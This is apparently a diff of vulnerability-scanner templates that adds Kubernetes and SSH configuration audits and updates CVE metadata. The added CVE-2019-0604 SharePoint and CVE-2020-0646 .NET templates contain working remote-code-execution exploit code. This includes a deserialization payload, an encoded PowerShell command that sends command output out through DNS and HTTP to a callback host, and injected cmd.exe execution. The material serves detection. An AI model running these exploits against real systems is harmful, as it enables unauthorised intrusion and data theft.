-| tech      |   776 | pdteam        |   304 | javascript |    71 |          |       |      |       |
-| lfi       |   764 | ricardomaia   |   249 | ssl        |    38 |          |       |      |       |
-| misconfig |   739 | geeknik       |   235 | dns        |    22 |          |       |      |       |
+| cve       |  3225 | dhiyaneshdk   |  1866 | http       |  8825 | info     |  4118 | file |   435 |
+| panel     |  1327 | daffainfo     |   868 | cloud      |   657 | high     |  2423 | dns  |    26 |
+| xss       |  1246 | dwisiswant0   |   806 | file       |   435 | medium   |  2339 |      |       |
+| wordpress |  1168 | princechaddha |   806 | dast       |   255 | critical |  1391 |      |       |
+| exposure  |  1094 | ritikchaddha  |   633 | workflows  |   202 | low      |   318 |      |       |
+| wp-plugin |  1023 | pussycat0x    |   519 | code       |   174 | unknown  |    54 |      |       |
+| osint     |   810 | pikpikcu      |   352 | network    |   141 |          |       |      |       |
+| tech      |   782 | pdteam        |   308 | javascript |    71 |          |       |      |       |
+| lfi       |   772 | pdresearch    |   251 | ssl        |    38 |          |       |      |       |
+| rce       |   770 | ricardomaia   |   249 | dns        |    23 |          |       |      |       |
@@ -0,0 +1,64 @@
+id: kubernetes-exposing-docker-socket-hostpath
+
+info:
+  name: Kubernetes Exposing Host's Docker Socket
+  author: dwisiswant0
+  severity: high
+  description: Exposing host's Docker socket to containers via a volume.
+  impact: |
+    The owner of this socket is root. Giving someone access to it is equivalent
+    to giving unrestricted root access to your host.
+  remediation: Remove 'docker.sock' from hostpath to prevent this.
+  reference:
+    - https://kubernetes.io/docs/concepts/storage/volumes/#hostpath
+    - https://kubernetes.io/docs/concepts/policy/pod-security-policy/#volumes-and-file-systems
+    - https://kubernetes.io/docs/tasks/configure-pod-container/security-context/
+    - https://cheatsheetseries.owasp.org/cheatsheets/Docker_Security_Cheat_Sheet.html#rule-1-do-not-expose-the-docker-daemon-socket-even-to-the-containers
+  tags: cloud,devops,kubernetes,k8s
+
+flow: |
+  code(1);
+  for (let pod of template.items) {
+    pod = JSON.parse(pod);
+    if (!pod.spec.hasOwnProperty('volumes')) continue;
+    for (const volume of pod.spec.volumes) {
+      if (volume.hasOwnProperty('hostPath')) {
+        if (!volume.hostPath.hasOwnProperty('path')) continue;
+        const path = volume.hostPath.path;
+        if (path && path !== '/var/run/docker.sock') continue
+      }
+      set('volume', JSON.stringify(volume));
+      set('pod', pod.metadata.name);
+      set('namespace', pod.metadata.namespace);
+      code(2)
+    }
+  }
+
+self-contained: true
+code:
+  - engine:
+      - sh
+      - bash
+    source: kubectl get pods --all-namespaces --output=json
+    extractors:
+      - type: json
+        name: items
+        internal: true
+        json:
+          - '.items[]'
+
+  - engine:
+      - sh
+      - bash
+    source: echo -e '$volume'
+
+    matchers:
+      - type: word
+        words:
+          - "/var/run/docker.sock"
+
+    extractors:
+      - type: dsl
+        dsl:
+          - '"Exposed Docker socket via a volume in the " + pod + " pod of " + namespace + " namespace"'
+# digest: 490a004630440220118723a85165514f59da64d85df3822f05a47ab5fc3e1e2a01ea0d06cb8d58110220147f70004616c4ee4b84fc2137e253c00a1908207be5e1cfb70b86cb586e0ba3:9e2dfd48464943e7ca3816f5f86e5507
@@ -0,0 +1,57 @@
+id: k8s-role-pod-create
+
+info:
+  name: Roles that have pod create permissions
+  author: domwhewell-sage
+  severity: medium
+  description: Checks for roles that have permissions to create pods.
+  impact: |
+    Pods that have the service account with a role that allows them to create pods, could allow a pod breakout.
+  remediation: Configure pods so they are not assigned the permission to create other pods
+  reference:
+    - https://kubernetes.io/docs/concepts/security/rbac-good-practices/#least-privilege
+    - https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html
+  tags: cloud,devops,kubernetes,devsecops,roles,k8s,k8s-cluster-security
+
+flow: |
+  code(1);
+  for (let role of template.items) {
+    set("role", role)
+    javascript(1);
+  }
+
+self-contained: true
+code:
+  - engine:
+      - sh
+      - bash
+    source: kubectl get role --all-namespaces --output=json
+    extractors:
+      - type: json
+        name: items
+        internal: true
+        json:
+          - '.items[]'
+
+javascript:
+  - code: |
+        let role = JSON.parse(template.role);
+        let riskyRules = 0;
+        role.rules.forEach(rule => {
+          if ((rule.resources.includes("pods") && rule.verbs.includes("create")) ||
+              (rule.resources.includes("pods") && rule.verbs.includes("*")) ||
+              (rule.resources.includes("*") && rule.verbs.includes("create")) ||
+              (rule.resources.includes("*") && rule.verbs.includes("*"))) {
+            riskyRules++;
+          }
+        });
+        if (riskyRules > 0) {
+          let result = (`Role '${role.metadata.name}' in namespace '${role.metadata.namespace}' has ${riskyRules} rule(s) with 'pods' resource and 'create' verb.`);
+          Export(result);
+        }
+
+    extractors:
+      - type: dsl
+        dsl:
+          - response
+# digest: 4b0a00483046022100d2e5577540b193bfbc85b570e8b36dd351705f4e45ca26c8ffc614abc5aa5336022100e00accf96a83579e3addfc9cc8b2830a7ec1b7eb754c8bd6240ee344b2ce9f35:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,61 @@
+id: ssh-gssapiauthentication-disabled
+
+info:
+  name: sshd GSSAPIAuthentication - Disabled
+  author: Th3l0newolf
+  severity: low
+  description: |
+    The GSSAPIAuthentication parameter in the SSH configuration file (sshd_config) controls whether GSSAPI-based user authentication is permitted. When enabled, it allows the use of Kerberos or other GSSAPI mechanisms for authenticating SSH connections.
+  remediation:
+    Disable GSSAPIAuthentication by editing /etc/ssh/sshd_config to set GSSAPIAuthentication no and restart SSH with sudo systemctl restart sshd.
+  reference:
+    - https://www.cisecurity.org/benchmark/ubuntu_linux
+  metadata:
+    verified: true
+  tags: cis,ssh,linux,audit,ubuntu,benchmark
+
+self-contained: true
+
+code:
+  - engine:
+      - bash
+
+    args:
+      - "-c"
+
+      - |
+        # Use sudo for elevated access to parse the effective SSH configuration
+        if ! command -v sshd &> /dev/null; then
+          echo "[cis-ssh-gssapiauthentication-disabled:Policy-Error] [SSH daemon not found] [CIS_ERROR] [medium]"
+          exit 1
+        fi
+
+        # Get the effective SSH configuration
+        if ! gssapi_auth=$(sudo sshd -T 2>/dev/null | grep -i gssapiauthentication | awk '{print tolower($2)}' | tr -d ' \t'); then
+          echo "[cis-ssh-gssapiauthentication-disabled:Policy-Error] [Failed to get SSH configuration] [CIS_ERROR] [medium]"
+          exit 1
+        fi
+
+        # Check if the value is explicitly set to 'no'
+        if [[ -n "$gssapi_auth" && "$gssapi_auth" == "no" ]]; then
+          echo "[cis-ssh-gssapiauthentication-disabled:Policy-Pass] [GSSAPIAuthentication $gssapi_auth] [CIS_PASS] [medium]"
+        else
+          echo "[cis-ssh-gssapiauthentication-disabled:Policy-Fail] [GSSAPIAuthentication ${gssapi_auth:-unset}] [CIS_FAIL] [medium]"
+        fi
+
+    matchers:
+      - type: word
+        name: policy-pass
+        words:
+          - "Policy-Pass"
+
+      - type: word
+        name: policy-fail
+        words:
+          - "Policy-Fail"
+
+      - type: word
+        name: policy-error
+        words:
+          - "Policy-Error"
+# digest: 4b0a00483046022100e49a751d372c40d34a054dbcb8f6a10f8703e5ab37531281bfe92823e9406c59022100d3e53c4e0c9add71c25452f81ce654ae390a031d123a3fbcbd75710031893ccf:922c64590222798bb761d5b6d8e72950
@@ -10,7 +10,7 @@ info:
    - https://github.com/vulhub/vulhub/tree/master/openssl/CVE-2014-0160
  metadata:
    verified: true
-  tags: cve,cve2014,openssl,heartbleed,code
+  tags: cve,cve2014,openssl,heartbleed,code,kev

 variables:
  url: "{{RootURL}}"
@@ -135,4 +135,4 @@ code:
      - type: dsl
        dsl:
          - "contains(response,'server is vulnerable')"
-# digest: 4a0a00473045022100dbbea58d04f9d75d0256102028ede5d7bf09a90175cb7dfcc7a394a9cb017e4c02205fdba48a22acce8f57cc53b0e6e2a79711a5f7d8515c4bce365d17d7b5048d56:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100ed75e4d98947fd01fbc7873eeb6436b559a749bb88a5a85f71fef8c2f83f9e48022100cb170dc3f8592781394acbba1560953c29e7b0b1d36c191aee134aa6d178aa74:922c64590222798bb761d5b6d8e72950
@@ -15,8 +15,8 @@ info:
    cvss-score: 9.8
    cve-id: CVE-2017-1000353
    cwe-id: CWE-502
-    epss-score: 0.97201
-    epss-percentile: 0.99862
+    epss-score: 0.94421
+    epss-percentile: 0.99980
    cpe: cpe:2.3:a:jenkins:jenkins:*:*:*:*:*:*:*:*
  metadata:
    vendor: jenkins
@@ -104,4 +104,4 @@ code:
        dsl:
          - 'contains(interactsh_protocol, "dns")'
        condition: and
-# digest: 4a0a00473045022003497add318e43154d20f752633565cadb8c406ddac3e6661b034e20594acfc1022100d947b1c765918742118b4ec4c926376292eb19715157a299d04aa01aab3fa1d6:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a004730450221008ad7ac179e8f3a0e00ba3b55bbcd325bc227198722b23a0dbe8a67a6612064aa02205d4644f6641fec1f795b5e8798530e4fda4a73f321b2e9d982bcc104a3218ae5:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,157 @@
+id: CVE-2019-0604
+
+info:
+  name: Microsoft SharePoint - Remote Code Execution
+  author: tree-chtsec,pszyszkowski
+  severity: critical
+  description: |
+    Microsoft SharePoint contains a remote code execution caused by failure to check the source markup of an application package, letting remote attackers execute arbitrary code, exploit requires sending malicious application package.
+  remediation: |
+    Fixed in security update published Feb 12, 2019
+  reference:
+    - https://github.com/Gh0st0ne/weaponized-0604
+    - https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2019-0604
+    - https://nvd.nist.gov/vuln/detail/cve-2019-0604
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
+    cvss-score: 9.8
+    cve-id: CVE-2019-0604
+    cwe-id: CWE-20
+    epss-score: 0.94411
+    epss-percentile: 0.99974
+  metadata:
+    verified: true
+    vendor: microsoft
+    product: sharepoint
+    shodan-query: cpe:"cpe:2.3:a:microsoft:sharepoint_server"
+  tags: cve,cve2019,sharepoint,microsoft,rce,kev
+
+variables:
+  OAST: "{{interactsh-url}}"
+  marker: "{{randbase(5)}}"
+
+code:
+  - engine:
+      - py
+      - python3 #pip install lxml{required}
+
+    source: |
+      import os
+      import sys
+      import base64
+      import argparse
+      from copy import deepcopy
+      import urllib3
+      import requests
+      import lxml.html
+      import codecs
+      from xml.sax.saxutils import escape
+      urllib3.disable_warnings()
+      default_ua = 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36'
+      part1 = 'System.Data.Services.Internal.ExpandedWrapper`2[[System.Windows.Markup.XamlReader,PresentationFramework,Version=4.0.0.0,Culture=neutral,PublicKeyToken=31bf3856ad364e35],[System.Windows.Data.ObjectDataProvider,PresentationFramework,Version=4.0.0.0,Culture=neutral,PublicKeyToken=31bf3856ad364e35]],System.Data.Services,Version=4.0.0.0,Culture=neutral,PublicKeyToken=b77a5c561934e089:'
+      part2 = '<ExpandedWrapperOfXamlReaderObjectDataProvider xmlns:a="http://www.w3.org/2001/XMLSchema-instance" xmlns:b="http://www.w3.org/2001/XMLSchema"><ExpandedElement/><ProjectedProperty0><MethodName>Parse</MethodName><MethodParameters><anyType a:type="b:string">%s</anyType></MethodParameters><ObjectInstance a:type="XamlReader"></ObjectInstance></ProjectedProperty0></ExpandedWrapperOfXamlReaderObjectDataProvider>'
+      content = '<ResourceDictionary xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml" xmlns:c="clr-namespace:System;assembly=mscorlib" xmlns:d="clr-namespace:System.Diagnostics;assembly=system"> <ObjectDataProvider x:Key="" ObjectType="{x:Type d:Process}" MethodName="Start"> <ObjectDataProvider.MethodParameters> <c:String>%(base)s</c:String> <c:String>%(arg)s</c:String> </ObjectDataProvider.MethodParameters> </ObjectDataProvider> </ResourceDictionary>'
+      paths = [os.getenv("Path"), '/_vti_pvt/picker.aspx', '/_app_bin/picker.aspx', '/_controltemplates/picker.aspx', '/_login/picker.aspx', '/_windows/picker.aspx', '/_layouts/15/picker.aspx', '/_wpresources/picker.aspx', '/_vti_bin/picker.aspx']
+      host = os.getenv('RootURL')
+      domain = os.getenv('OAST')
+      user = os.getenv('username')
+      pswd = os.getenv('password')
+      def html_escape(s):
+          _ = escape(s)
+          _ = _.replace('"', '&quot;')
+          return _
+      def _0604(cmd):
+          if ' ' in cmd and '|' not in cmd[:cmd.find(' ')]: # avoid command problem (TODO : find a better solution)
+              _bin, _arg = cmd.split(' ', 1)
+          else:
+              _bin = 'cmd'
+              _arg = '/c ' + cmd
+          payload = part1 + part2 % html_escape(content % dict(base=html_escape(_bin), arg=html_escape(_arg)))
+          o = ''.join(codecs.encode(codecs.encode(x, 'utf-16be'), 'hex').decode('ascii')[::-1] for x in payload)
+          return '__bp' + format(len(o), 'x')[::-1] + o
+      def main():
+          auth = ''
+          cmd = 'echo ' + os.getenv('marker')
+          if (user != None) and (pswd != None):
+              auth = user + ':' + pswd
+              ntlm = True
+          else:
+              ntlm = False
+          if host is None:
+              print("missing target. You must specify -u <url>")
+              exit(1)
+          if domain is not None:
+              print('OOB: "%s" will be executed in POWERSHELL context' % (cmd))
+              __var_raw = '$a'
+              __var_hex = '$b'
+              __dns_code = '''
+      $bl = %(v_hex)s.length;$l = 60;$i = 0;
+      while($i -lt $bl) {
+      $l = if(($bl - $i) -gt $l) { $l } else { $bl - $i };
+      $v = %(v_hex)s.substring($i, $l);
+      ping -n 1 "$i.$v.%(domain)s";
+      $i += $l; }
+              '''.strip() % dict(domain=domain, v_hex=__var_hex)
+              __post_code = '''
+      iwr -Uri %(domain)s -Method post -Body %(v_raw)s;
+              '''.strip() % dict(domain=domain, v_raw=__var_raw)
+              __code = '''
+      %(v_raw)s = %(cmd)s;
+      $Encode = new-object "System.Text.UTF8Encoding";
+      $bytearray = $Encode.GetBytes(%(v_raw)s);
+      %(v_hex)s = "";
+      Foreach ($i in $bytearray) {
+        %(v_hex)s = %(v_hex)s + $i.ToString("X").PadLeft(2,"0");
+      }
+              '''.strip() % dict(cmd=cmd, v_raw=__var_raw, v_hex=__var_hex)
+              __code += __dns_code
+              __code = base64.b64encode(__code.encode('UTF-16LE')).decode()
+              cmd = 'powershell -ep bypass -enc %s' % (__code)
+              print(cmd)
+          if ntlm:
+              from requests_ntlm import HttpNtlmAuth
+              _auth = HttpNtlmAuth(*auth.split(':', 1))
+          else:
+              _auth = None
+          _headers = {'User-Agent': default_ua}
+          req_kwargs = {
+              'headers': _headers,
+              'auth': _auth,
+              'verify': False
+          }
+          def auto_sp_attack(kwargs):
+              for item in paths:
+                  url = os.getenv('RootURL') + item
+                  # get sharepoint version (2019,2016 / 2013 / 2010)
+                  res = requests.get(url, **kwargs)
+                  spversion = res.headers.get('MicrosoftSharePointTeamServices', '16').split('.', 1)[0] + '.0.0.0'
+                  kwargs['params'] = dict(PickerDialogType='Microsoft.SharePoint.WebControls.ItemPickerDialog,Microsoft.SharePoint,Version=%s,Culture=neutral,PublicKeyToken=71e9bce111e9429c' % spversion)
+                  # get viewstate & ev from picker.aspx
+                  if res.status_code != 200:
+                      print('%s failed [%s]' % (item, res.status_code))
+                      continue
+                  else:
+                      break
+              rt = lxml.html.fromstring(res.content)
+              spandata = list(filter(lambda x: x.get('name').endswith('hiddenSpanData'), rt.xpath('//input[contains(@name, "hiddenSpanData")]')))[0].get('name')
+              kwargs['data'] = {
+                  '__VIEWSTATE': rt.get_element_by_id('__VIEWSTATE').value if rt.xpath('//input[@id="__VIEWSTATE"]') else '',
+                  '__EVENTVALIDATION': rt.get_element_by_id('__EVENTVALIDATION').value if rt.xpath('//input[@id="__EVENTVALIDATION"]') else '',
+              }
+              payload = _0604(cmd)
+              kwargs['data'][spandata] = payload
+              return requests.post(url, **kwargs)
+          attack_fn = auto_sp_attack
+          res = attack_fn(deepcopy(req_kwargs))
+          if all(s in res.text for s in ['"ms-pickerresultheadertr"', 'Administrators, see the server log for more information.']):
+            print('%s succeded (%s)' % (res.url, res.status_code))
+      if __name__ == '__main__':
+          main()
+
+    matchers:
+      - type: dsl
+        dsl:
+          - 'contains(interactsh_protocol, "dns")'
+          - 'contains(interactsh_request, hex_encode(marker))'
+        condition: and
+# digest: 4a0a00473045022022019f9c11593b4c5a1f55755d532f6a64858d80153beb783f2c2d61684e0439022100fd41aa3e2ae1ad5d411c2c569383a2498ebf4a48cb1a9cf01f89748879c446c7:922c64590222798bb761d5b6d8e72950
@@ -17,8 +17,8 @@ info:
    cvss-score: 8.8
    cve-id: CVE-2019-14287
    cwe-id: CWE-755
-    epss-score: 0.30814
-    epss-percentile: 0.96854
+    epss-score: 0.84563
+    epss-percentile: 0.99279
    cpe: cpe:2.3:a:sudo_project:sudo:*:*:*:*:*:*:*:*
  metadata:
    verified: true
@@ -47,4 +47,4 @@ code:
          - '!contains(code_1_response, "root")'
          - 'contains(code_2_response, "root")'
        condition: and
-# digest: 490a00463044022100b66bc431046c222bdbdf17c5c6b5c9743d91f902f877967c4434d46ff44bf79c021f498f3f2a5efedc922b9a142b06d7578ca7f5c9413b964c46a676b14d2f4dfa:922c64590222798bb761d5b6d8e72950
+# digest: 490a0046304402203ef02b5bc66bde9a84033a2d0eb02c7b2e73e3277c34377c90de755624be9ba6022055e7503686510f19241007aa2443ba097120831bbe89ba7526451d5f3aa95896:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,105 @@
+id: CVE-2020-0646
+
+info:
+  name: Microsoft .NET Framework - Remote Code Execution
+  author: pszyszkowski
+  severity: critical
+  description: |
+    A remote code execution vulnerability exists when the Microsoft .NET Framework fails to validate input properly, aka '.NET Framework Remote Code Execution Injection Vulnerability'.
+  reference:
+    - https://www.cve.org/CVERecord?id=CVE-2020-0646
+    - https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2020-0646
+    - http://packetstormsecurity.com/files/156930/SharePoint-Workflows-XOML-Injection.html
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
+    cvss-score: 9.8
+    cve-id: CVE-2020-0646
+    cwe-id: CWE-91
+    epss-score: 0.92775
+    epss-percentile: 0.99755
+    cpe: cpe:2.3:a:microsoft:.net_framework:3.0:sp2:*:*:*:*:*:*
+  metadata:
+    verified: true
+    vendor: microsoft
+    product: .net_framework
+    shodan-query: 'server:"ms .net remoting"'
+    max-request: 1
+  tags: cve,cve2020,net-framework,sharepoint,microsoft,packetstorm,rce,kev,oast
+
+variables:
+  OAST: "{{interactsh-url}}"
+
+code:
+  - engine:
+      - py
+      - python3 #pip install requests_ntlm (required)
+
+    source: |
+      import os
+      import urllib3
+      import requests
+      urllib3.disable_warnings()
+      default_ua = 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36'
+      paths = [os.getenv('Path'), '/_vti_bin/webpartpages.asmx']
+      host = os.getenv('RootURL')
+      domain = os.getenv('OAST')
+      user = os.getenv('username')
+      pswd = os.getenv('password')
+      data = f'''<?xml version="1.0" encoding="utf-8"?>
+      <soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
+      <soap:Body>
+          <ValidateWorkflowMarkupAndCreateSupportObjects xmlns="http://microsoft.com/sharepoint/webpartpages">
+          <workflowMarkupText>
+              <![CDATA[
+              <SequentialWorkflowActivity x:Class="MyWorkflow" x:Name="foobar" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml" xmlns="http://schemas.microsoft.com/winfx/2006/xaml/workflow">
+                  <CallExternalMethodActivity x:Name="foo" MethodName='test1' InterfaceType='System.String);}}Object/**/test2=System.Diagnostics.Process.Start("cmd.exe", "/c nslookup {domain}");private/**/void/**/foobar(){{//' />
+              </SequentialWorkflowActivity>
+              ]]>
+          </workflowMarkupText>
+          <rulesText></rulesText>
+          <configBlob></configBlob>
+          <flag>2</flag>
+          </ValidateWorkflowMarkupAndCreateSupportObjects>
+      </soap:Body>
+      </soap:Envelope>
+      '''
+      def main():
+          if (user != None) and (pswd != None):
+              ntlm = True
+          else:
+              ntlm = False
+          if host is None:
+              print("missing target. You must specify -u <url>")
+              exit(1)
+          if ntlm:
+              from requests_ntlm import HttpNtlmAuth
+              _auth = HttpNtlmAuth(user, pswd)
+          else:
+              _auth = None
+          _headers = {
+              'User-Agent': default_ua,
+              'Content-Type': 'text/xml'
+          }
+          for item in paths:
+              url = os.getenv('RootURL') + item
+              res = requests.post(url, data, auth=_auth, verify=None, headers=_headers)
+              if res.status_code != 200:
+                  continue
+              else:
+                  print(f"HTTP/1.1 {res.status_code} {res.reason}")
+                  for key, value in res.headers.items():
+                      print(f"{key}: {value}")
+                  print(f"\n{res.text}")
+                  break
+      if __name__ == '__main__':
+          main()
+
+    matchers:
+      - type: dsl
+        dsl:
+          - 'contains(interactsh_protocol, "dns")'
+          - 'contains(body, "ValidateWorkflowMarkupAndCreateSupportObjectsResponse")'
+          - 'contains(content_type, "text/xml")'
+          - 'status_code == 200'
+        condition: and
+# digest: 4a0a00473045022100a9c7370f5d64f484afc46075695941e15917d5a0687dd077ae6699501475bc1c02207a3961cc5b43a81ff13243b2dbb044a37081cf76fead5b7be2c772e481685c5c:922c64590222798bb761d5b6d8e72950
@@ -10,6 +10,8 @@ info:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
    cvss-score: 7.5
    cve-id: CVE-2020-13935
+    epss-score: 0.91885
+    epss-percentile: 0.99681
  reference:
    - http://lists.opensuse.org/opensuse-security-announce/2020-07/msg00084.html
    - http://lists.opensuse.org/opensuse-security-announce/2020-07/msg00088.html
@@ -17,8 +17,8 @@ info:
    cvss-score: 7.8
    cve-id: CVE-2021-3156
    cwe-id: CWE-193
-    epss-score: 0.97085
-    epss-percentile: 0.99757
+    epss-score: 0.92019
+    epss-percentile: 0.99693
    cpe: cpe:2.3:a:sudo_project:sudo:*:*:*:*:*:*:*:*
  metadata:
    verified: true
@@ -40,4 +40,4 @@ code:
          - "malloc(): memory corruption"
          - "Aborted (core dumped)"
        condition: and
-# digest: 490a00463044022003e9a47a2c4c44efd51b49bbac2f179b9affcc5acfca59cac2b0b120cef766ba0220690376c3929640e6e24b046b094bc38eb63e08f4c2914c732e04919353394a1f:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502203288bc289d0cc0f4e06e605006f21fa1933c3a8a43067f2e9217000a34b340ae022100eb4c9a1fad050dd80783cfcff25e73bc958d1ad84a2f6f09fcbf1c0deebe680c:922c64590222798bb761d5b6d8e72950
@@ -21,8 +21,8 @@ info:
    cvss-score: 7.8
    cve-id: CVE-2023-2640
    cwe-id: CWE-863
-    epss-score: 0.00232
-    epss-percentile: 0.60636
+    epss-score: 0.91874
+    epss-percentile: 0.99680
    cpe: cpe:2.3:o:canonical:ubuntu_linux:23.04:*:*:*:*:*:*:*
  metadata:
    verified: true
@@ -55,4 +55,4 @@ code:
          - '!contains(code_1_response, "(root)")'
          - 'contains(code_2_response, "(root)")'
        condition: and
-# digest: 4a0a00473045022100af1ce9e558408f86de2a92c299f2c032d05d4c87ca0b3b94e5372325c57a6247022018cc3e6806b89d0ab44dd51123fc94309a65fcb8b07605f505d528c67faa4862:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502202809a713e4b7f0f60945476a6178a11001fed63e5a210c5f7d1e3051d0f2d532022100c48469b0082d1264875fcb51ece29a27c1a5ecc9513ccca86afd183931ae3472:922c64590222798bb761d5b6d8e72950
@@ -17,8 +17,8 @@ info:
    cvss-score: 9.8
    cve-id: CVE-2023-49105
    cwe-id: CWE-287
-    epss-score: 0.18166
-    epss-percentile: 0.96172
+    epss-score: 0.86872
+    epss-percentile: 0.99395
    cpe: cpe:2.3:a:owncloud:owncloud:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
@@ -90,4 +90,4 @@ http:
      - type: dsl
        dsl:
          - '"Username => "+ username'
-# digest: 4b0a0048304602210097de106f56df20d4649d793b15fa2d3f84941e9ce92c24229d036e6b293a3d3a022100d810cbc181ba167025440b9de7b86d072c009e244ce2abd4e4aed6ab1599d1ce:922c64590222798bb761d5b6d8e72950
+# digest: 490a0046304402204b1fb18af3e1a3a93ddf533a7112f566b1c32c20d54fce52634df059c876cd060220684fd961920c7f143e93d510a7e4219626c8ef2291c908ffecbb8a92171f9185:922c64590222798bb761d5b6d8e72950
@@ -17,8 +17,8 @@ info:
    cvss-score: 7.8
    cve-id: CVE-2023-4911
    cwe-id: CWE-787,CWE-122
-    epss-score: 0.0171
-    epss-percentile: 0.87439
+    epss-score: 0.66736
+    epss-percentile: 0.98452
    cpe: cpe:2.3:a:gnu:glibc:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
@@ -39,4 +39,4 @@ code:
      - type: word
        words:
          - "139"     # Segmentation Fault Exit Code
-# digest: 4b0a004830460221009b0b0cfac42037ebc60fb784afe5b4b70d62670e925e5b173d8e9e1e88fdc163022100edfb6d5010a063cfdbe507710c75ef7c530b946d363571fad08d504e9e519505:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502207a6e5753b4c34b6c6a6b114a627b1024aea6e7ffaf398b1a92eb895c3a0449b9022100e7d7bde1dcc8c8248fa38491377b58370af797f1769f84f3be87a1fa8e672445:922c64590222798bb761d5b6d8e72950
@@ -17,8 +17,8 @@ info:
    cvss-score: 7.8
    cve-id: CVE-2023-6246
    cwe-id: CWE-787,CWE-122
-    epss-score: 0.0077
-    epss-percentile: 0.80859
+    epss-score: 0.22699
+    epss-percentile: 0.95613
    cpe: cpe:2.3:a:gnu:glibc:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
@@ -39,4 +39,4 @@ code:
      - type: word
        words:
          - "127"     # Segmentation Fault Exit Code
-# digest: 490a00463044022067d33f4da6f38d0bbdd03910db3f757750cd7d17e8865d79a7f6dc3b68b2367702207a1573a717bd2ecba367dfdee834be3861b73053905b847e9199345d993f7acd:922c64590222798bb761d5b6d8e72950
+# digest: 490a004630440220435fc0f1f42662dd77393d370309115320794f7957843c0ff1ef4c0e68d5566402200e729fedbc5915a5e9a5c33cd70ccff6646981ea2ae405bb1341c83e0b228b08:922c64590222798bb761d5b6d8e72950
@@ -13,8 +13,8 @@ info:
    cvss-score: 9.8
    cve-id: CVE-2024-10443
    cwe-id: CWE-77
-    epss-score: 0.02427
-    epss-percentile: 0.84387
+    epss-score: 0.69629
+    epss-percentile: 0.98573
    cpe: cpe:2.3:a:synology:photos:*:*:*:*:*:diskstation_manager:*:*
  metadata:
    verified: true
@@ -54,4 +54,4 @@ code:
        part: interactsh_protocol # Confirms the HTTP Interaction
        words:
          - "dns"
-# digest: 4a0a00473045022100f541247d987a9e0240988176fd4eab32d5d1bb5786cb57757b66812cc52804fa022046cdeedbf8367a55b9eea6faa7ff8bfa9a159a7c456af48d8e50e69f8e0f547c:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a004730450220238322406ea7b36d09adcd8d11555a98663066124719295b82627c0c6aa649c602210097fd42ed176237bd31b1b6fe4b675eb74f378636c66888f6578c5f20d49e8af4:922c64590222798bb761d5b6d8e72950
@@ -13,12 +13,14 @@ info:
    cvss-score: 9.8
    cve-id: CVE-2024-12356
    cwe-id: CWE-77
+    epss-score: 0.93590
+    epss-percentile: 0.99831
    cpe: cpe:2.3:a:beyondtrust:privileged_remote_access:*:*:*:*:*:*:*:*
  metadata:
    vendor: beyondtrust
    product: privileged_remote_access
    verified: true
-  tags: cve,cve2024,beyondtrust,rce,remote-support,privileged-remote-access
+  tags: cve,cve2024,beyondtrust,rce,remote-support,privileged-remote-access,kev

 code:
  - engine:
@@ -35,4 +37,4 @@ code:
        words:
          - "0 success"
          - "1 try again later"
-# digest: 4b0a004830460221009b992dc11657502934210c647c8a324000984f2ced04da26d5afb3e8cc3a2f9d02210098f750c74fcb8749b28d18e1077b38d9d1a8c6ca6d00b10155f987033cee4171:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100be13ba221189875a5c3c181eb1e6c5d7c4806c31798dc6f540657279fac5b029022031676609cf3da0030625ce6aac0a33787770a4d084ec52ac9f58d0faa903025f:922c64590222798bb761d5b6d8e72950
@@ -19,8 +19,8 @@ info:
    cvss-score: 9.1
    cve-id: CVE-2024-22120
    cwe-id: CWE-20
-    epss-score: 0.00043
-    epss-percentile: 0.09568
+    epss-score: 0.93881
+    epss-percentile: 0.99865
  metadata:
    max-request: 1
    vendor: zabbix
@@ -71,4 +71,4 @@ code:
      - type: word
        words:
          - "Vulnerable to CVE-2024-22120"
-# digest: 490a004630440220373630574dc675bb0fb8395e3ba509866bb2524b66ba5af917e1c88af91ec0aa022072b103b17bfeb7f48ed7ba168e35269ee51e499398be47a1c2f98f07cb4cd689:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022057371395d4fb23fb810c20049a9d700a8284af6c1bc84864c23f1b4470dc4583022100f4d401098a82c09507f92f49757fb5d6085c9739a37aabc3f9ba8dcd894bdfa8:922c64590222798bb761d5b6d8e72950
@@ -17,8 +17,8 @@ info:
    cvss-score: 10
    cve-id: CVE-2024-3094
    cwe-id: CWE-506
-    epss-score: 0.00079
-    epss-percentile: 0.32887
+    epss-score: 0.84011
+    epss-percentile: 0.99254
    cpe: cpe:2.3:a:tukaani:xz:5.6.0:*:*:*:*:*:*:*
  metadata:
    verified: true
@@ -59,4 +59,4 @@ code:
      - type: dsl
        dsl:
          - response
